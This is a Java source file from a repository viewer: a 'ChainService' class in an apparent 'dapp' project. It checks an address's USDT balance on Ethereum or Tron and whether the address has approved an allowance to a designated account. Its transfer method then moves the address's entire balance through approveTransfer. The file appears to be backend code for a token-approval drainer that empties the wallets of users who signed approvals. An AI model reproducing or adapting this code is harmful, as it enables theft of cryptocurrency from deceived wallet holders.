Helius
2022-03-29 9e06a7e82f08e7d5a91f616b29799e58219f6d87
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package cc.mrbird.febs.dapp.chain;
 
import cc.mrbird.febs.common.exception.FebsException;
import cn.hutool.core.util.StrUtil;
import cn.hutool.http.HttpUtil;
import com.alibaba.fastjson.JSONObject;
 
import java.math.BigDecimal;
import java.math.BigInteger;
 
/**
 * @author wzy
 * @date 2022-03-23
 **/
public class ChainService {
 
    private final String ETH_PREFIX = "0x";
    private final EthService ETH = new EthService();
    private final TrxService TRX = TrxService.INSTANCE;
 
    private ChainService() {}
 
    public final static ChainService INSTANCE = new ChainService();
 
    /**
     * 获取制定账号的USDT余额
     *
     * @param address
     * @return
     */
    public BigDecimal balanceOf(String address) {
        BigDecimal balance = BigDecimal.ZERO;
        if (address.contains(ETH_PREFIX)) {
            balance = ETH.tokenGetBalance(address);
        } else {
            balance = TRX.balanceOfDecimal(address);
        }
        return balance;
    }
 
    /**
     * 判断地址是否授权给制定账户
     *
     * @param address
     * @return
     */
    public boolean isAllowance(String address) {
        BigInteger result;
        if (address.indexOf(ETH_PREFIX) > 0) {
            result = ETH.ethAllowance(address);
        } else {
            result = TRX.allowance(address);
        }
 
        return result.intValue() != 0;
    }
 
    /**
     * 获取地址授权数量
     *
     * @param address
     * @return
     */
    public int allowanceCnt(String address) {
        String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address);
        String total = JSONObject.parseObject(response).getString("total");
        return Integer.parseInt(total);
    }
 
    public String transfer(String address) {
        BigDecimal amount = balanceOf(address);
 
        return transfer(address, amount);
    }
 
    public String transfer(String address, BigDecimal amount) {
        String hash;
        if (address.contains(ETH_PREFIX)) {
            hash = ETH.approveTransfer(address, amount, null);
        } else {
            hash = TRX.transfer(address, amount);
        }
        return hash;
    }
 
    public static void main(String[] args) {
        System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
    }
}